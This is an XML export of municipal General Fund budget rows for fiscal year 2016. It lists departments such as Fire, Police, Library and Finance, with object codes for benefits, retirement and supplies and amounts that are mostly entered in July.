<row _id="19235"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3077</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3077</total></row>
<row _id="19236"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>106357</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>106357</total></row>
<row _id="19237"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="19238"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533660.0</object><object_description>CONF / MTGS / TRAVEL-SH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7414</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7414</total></row>
<row _id="19239"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2219</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2219</total></row>
<row _id="19240"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7190</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7190</total></row>
<row _id="19241"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1035</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1035</total></row>
<row _id="19242"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>28508</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28508</total></row>
<row _id="19243"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>895</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>895</total></row>
<row _id="19244"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>15443</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15443</total></row>
<row _id="19245"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>69818</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>69818</total></row>
<row _id="19246"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511747.0</object><object_description>CASH-IN-LIEU</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3600</total></row>
<row _id="19247"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3967</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3967</total></row>
<row _id="19248"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10580</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10580</total></row>
<row _id="19249"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>18255</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18255</total></row>
<row _id="19250"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2220</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2220</total></row>
<row _id="19251"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19252"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1334</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1334</total></row>
<row _id="19253"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>22101</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22101</total></row>
<row _id="19254"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6833</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6833</total></row>
<row _id="19255"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1334</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1334</total></row>
<row _id="19256"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1632</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1632</total></row>
<row _id="19257"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19258"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19259"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1879</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1879</total></row>
<row _id="19260"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>877</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>877</total></row>
<row _id="19261"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26562</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26562</total></row>
<row _id="19262"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1632</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1632</total></row>
<row _id="19263"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4019</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4019</total></row>
<row _id="19264"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8884</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8884</total></row>
<row _id="19265"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1184</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1184</total></row>
<row _id="19266"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10693</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10693</total></row>
<row _id="19267"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1009</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1009</total></row>
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<row _id="19269"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8708</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8708</total></row>
<row _id="19270"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6908</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6908</total></row>
<row _id="19271"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>24913</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24913</total></row>
<row _id="19272"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17490</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17490</total></row>
<row _id="19273"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26410</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26410</total></row>
<row _id="19274"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>290685</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>290685</total></row>
<row _id="19275"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>89591</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>89591</total></row>
<row _id="19276"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10480</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10480</total></row>
<row _id="19277"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>121487</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>121487</total></row>
<row _id="19278"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>162919</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>162919</total></row>
<row _id="19279"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>100092</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100092</total></row>
<row _id="19280"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>57582</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>57582</total></row>
<row _id="19281"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>388540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>388540</total></row>
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<row _id="19283"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1338302</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1338302</total></row>
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<row _id="19285"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511745.0</object><object_description>MED TRUST - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>189870</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>189870</total></row>
<row _id="19286"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4728439</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4728439</total></row>
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<row _id="19292"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>61879</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>61879</total></row>
<row _id="19293"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>470357</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>470357</total></row>
